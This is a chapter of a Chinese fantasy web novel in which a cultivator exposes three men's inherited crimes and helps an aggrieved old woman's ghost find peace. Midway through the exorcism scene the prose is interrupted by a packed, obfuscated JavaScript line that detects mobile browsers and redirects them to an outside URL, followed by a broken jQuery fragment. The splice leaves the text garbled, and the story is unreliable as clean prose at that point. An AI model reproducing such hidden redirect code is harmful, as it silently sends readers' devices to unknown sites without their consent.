43.平安客栈不平安(五)
作品:《开局冷宫不影响我封神》 画面很快地切换到一家药铺中。
药铺上挂着一块写着“济世堂”的牌匾,柜台后面站着一个穿着绸缎长衫,看着很是精明的掌柜。
他眯着眼睛,接过谢氏递过来的老山参,眼底闪过一丝惊讶和贪婪。
这株老山参可有些年头了,似乎透着丝丝灵气,真是难得一见的好东西!
他泛着精光的小眼瞄了一眼佝偻着身子的谢氏。
没想到这快入土的老家伙,还藏着这么好的宝贝,真是可惜……
掌柜假意验看,趁谢氏老眼昏老,借机用一株外形非常相似,但毫无灵气的劣质假山参掉了包。
他一脸嫌弃地把假山参塞给谢氏,假惺惺地道:“老人家,你这参啊,年份不足,品相也不好,值不了几个钱,拿回家炖了补补身子吧!”
谢氏失望地揣着那株假山参回到破屋。
她将最后的希望寄托于此,熬了汤药喝下。
可谁知病情非但没有一丝好转,还迅速恶化。
弥留之际,她死死拽着那株熬干了的假山参,浑浊痛苦的眼中充满了被欺骗的绝望,以及对这世间凉薄的怨恨。
最终,她在贫病交加和巨大的痛苦中断了气,眼睛睁得大大的,死不瞑目。
干枯如柴的手中,还紧紧攥着那株夺命的假山参!
“啊——!”申掌柜仿佛被谢氏那双充满了怨恨的眼睛刺穿,惊叫一声,“是我爹,是他干的!不关我的事啊!”
李令曦上前一步,素衣微动,声音清冷。
“父行子效,业力随身!”
“你继承家中产业,行商坐贾,可曾想过你家库房的银子上,沾了多少如谢氏这样的苦命人的血泪?你家药铺中售出的药,敢说问心无愧?”
“她用救命钱换来的,却是你家的假药,你爹的贪婪,将她推向绝望的深渊,在痛苦中窒息而亡!”
“你与你爹一样,身上的贪婪铜臭之气,便是谢氏冤魂不散的来源,还敢狡辩?”
申掌柜想起自己行商多年,灭良心害死人的事也并非没有,吓得彻底瘫软在地,屎尿齐流。
一股腥骚气散开,在场其他人都嫌恶地捂住鼻子。
女鬼谢氏漂浮在半空中,望着地上三个因罪行被揭露而崩溃的男人,周身的怨气似乎达到了极点。
她身上的水珠不停向下滴落,散发出的寒意让人瑟瑟发抖。
真相大白,血债累累。
业镜高悬,孽障昭彰。
这滔天的怨气,又该如何平息?
死寂,比子夜更深沉的死寂笼罩着整个客栈。
申掌柜倒在一片污秽之中,身体间歇性地抽搐,不时呜咽两声。
蒋秀才眼神空洞,仿佛被抽去了全身的精气神,嘴里喃喃念着“圣人教诲”“礼义廉耻”等语句。
万镖头钢刀拄在地上,单膝跪地,粗重的喘息遇到怨气便凝结成了白霜。
深深的恐惧和生平罪孽被赤裸裸揭穿的羞耻,让他们受着良心的谴责,精神的折磨。
李令曦站在怨气风暴的中央,手中灵剑金光散开,保护着身后楼梯口观望的普通人。
“谢氏。”她的声音响起,“真相已明,业障已显。你的冤屈,此间天地,人神共鉴!”
“然,怨念缠身,非解脱之道。滞留阳间,只会加深你的痛苦,消磨你的往生之机。”
“放下执念,方得解脱。”
谢氏的魂体颤抖,怨念恨意没有丝毫消减。
让她放下,谈何容易?
几十年的孤苦无依,血亲的惨死,临终的绝望……这刻骨的怨恨早已融入她的魂魄!
“他们……必须付出代价!”
一声嘶哑破碎的怒吼,进入在场每个人的耳中,这是女鬼最深的执念。
李令曦没有动手,强行超度不是她的作风。
解铃还须系铃人。
唯有让这三人真心忏悔,做出弥补付出代价,方可化解这怨结。
李令曦清冷的目光扫过地上的三人,音量拔高。
“申氏,蒋氏,万氏,尔等及家族造下罪业,毁人清白,害人性命,断人生路!”
“如今冤魂索命,业障已显,尔等还有何话要说?”
“是愿以余生忏悔弥补,求得一丝宽恕,还是执迷不悟,怨气反噬,魂飞魄散,堕入无间?”
最后一句“堕入无间”,狠狠砸在三人心头,将他们从恐惧和惊慌中砸醒了。
申掌柜第一个崩溃,他挣扎着爬起来,对着女鬼疯狂磕头,满脸泪水汗水齐流。
“我认,我认!是我爹造的孽,可、可这药铺现在是我的啊,那假药赚的黑心钱,我没少花,我有罪!”
“我该死,谢婶子,求您饶命!我愿用最好的棺木厚葬您,请大师给您做法事,七七四十九天水陆道场。”
“我把济世堂三成,不!五成利拿出来,捐给善堂,救济孤寡!”
他一边磕头,一边大声忏悔。
蒋秀才也如梦初醒,对女鬼深深叩首,带着哭腔。
“晚生……晚生有罪,愿为谢阿婆您立长生牌位,供奉于家祠,晚生日日焚香诵经,抄写经书,为您祈福,消除罪孽!”
“晚生定当谨守圣贤教诲,不敢有丝毫苟且,求阿婆明鉴,开恩啊!”
万镖头脸色变换不定,最终面露愧疚,猛地将钢刀狠狠插在地上,抱拳沉声道:
“万某……认栽!师父他造下杀孼,人死债未消。我继承衣钵,这债,我扛了!”
“谢阿婆,你儿子的尸骸……我对天发誓,掘地三尺,也要为你寻回。寻回后,我必好生安葬。年年香火祭祀,绝不敢忘。如有违背,叫我万箭穿心,不得好死!”
他语气铿锵,带着一股江湖人的决绝。
三人的忏悔和承诺,如同三股流水,汇入女鬼冰冷的魂体中。
翻腾的黑色怨气,竟被冲淡了。
两行深深的暗红色血泪,也渐渐消融,变色,化作两行清澈的泪水。
泪水中饱含着委屈与释然。
见此情形,李令曦知道,时机到了。
她不再犹豫,深吸一口气,凝神聚气,灵力汇聚成一柄金色剑,竖于胸前。
同时左手迅速从袖中取出三张早已备好的明黄色往生符箓。符箓漂在空中,闪着温润的金色光泽。
李令曦脚踏罡步,口中响起清朗的诵经声。
“救苦天尊,遍满十方界。救拔诸众生……得离于迷途,众生不知觉,如盲见日月……”
随着经文的念诵,她周围散发出柔和庄严的金光,充满了慈悲与净化的力量。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073710|193563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手中灵力剑牵引着金光,在空中画出一个个金色符文,符文缓缓旋转,组成一个巨大的光轮,将女鬼笼罩其下。
“谢氏,冤屈已雪,因果已明,此间恩怨,该结束了。”
“尘归尘,土归土,黄泉路开,往生极乐!”
最后,她左手猛地一扬,三张往生符箓如同三道流星,瞬间飞向女鬼,贴在了她的额头、心口和丹田位置。
符箓发出耀眼的金光,与李令曦诵经形成的光轮瞬间融合。
女鬼喉间发出一声长长的、仿佛解脱了的叹息。
怨气顿时消散,可怖的面容在金光中慢慢恢复成了生前的模样。
一张饱经风霜,却依稀可见温婉轮廓的,善良苦命的老妇人的脸。
她的眼神平静,含着一丝对李令曦的感激。
双手合十,深深一拜。
身影在金光的包裹下,越来越淡,直至变得透明。
“去吧。”
李令曦注视着她。
谢氏的身影彻底消散,化作无数细碎的光点,融入夜幕。
客栈中的刺骨阴寒,也悄然褪去。
李令曦缓缓收剑,吐出一口浊气,有些疲惫。
走廊不远处的众人目睹了全过程,早已惊得目瞪口呆。
老陈夫妇相互搀扶着,老泪纵横,却是解脱和感激的泪水。
其他住客看向李令曦的目光里,满是敬畏惊异,如同遇见了下凡的神祇。
“仙……仙师……”老陈颤巍巍走上前,双腿一弯就要跪下,“多谢仙师大恩大德,救了小店!救了俺们老两口的命啊!”
李令曦抬手虚扶:“店家不必如此。善心当有善报,此乃天道循环。”
她声音仍旧平淡:“此番,亦是修行本分。”
目光扫过申、蒋、万三人,李令曦声音转为冰冷。
“你们三人,今日能留得性命,全赖谢氏最后一丝善念未泯,亦因你们有悔过弥补之心。希望你们能够谨记今夜的誓言,行善积德,若再行不义,无需冤魂索命,天道轮回,自有报应!”
三人如蒙大赦,又羞愧难当,连连点头称是。
李令曦转向老张夫妇,“店家,谢氏已往生。这具空棺,可择吉日运回故里,将其安葬,也算全了你们一番善心。”
“此间事了,天一亮,我也该告辞了。”
“仙师,请等等!”
陈嫂连忙拉住老陈,两人手忙脚乱地从怀里掏出所有能拿出的铜钱碎银,还去屋里拿了几个舍不得吃的鸡蛋,一股脑地捧到李令曦面前。
“仙师大恩,无以为报!这点心意,请您一定收下,不然……不然我们这心里过意不去啊!”
看着眼前粗糙的手掌上那些微薄的财物和真心实意的感激,李令曦心里闪过一丝暖意。
她伸出手,拿起一枚铜板,微微一笑。
“一个铜板,足矣。”
走出大门,晨光熹微,东方天际已白。
李令曦二人迎着朝阳,踏上了前路。
在李令曦意念深处,又一缕淡淡的金光汇聚沉淀。
那是来自天地之间最纯粹的感念——功德金光。
风波平息,此地只留下了一个关于玄门仙师和空棺怨魂的传说,在过往行人的口中,悄然流传。

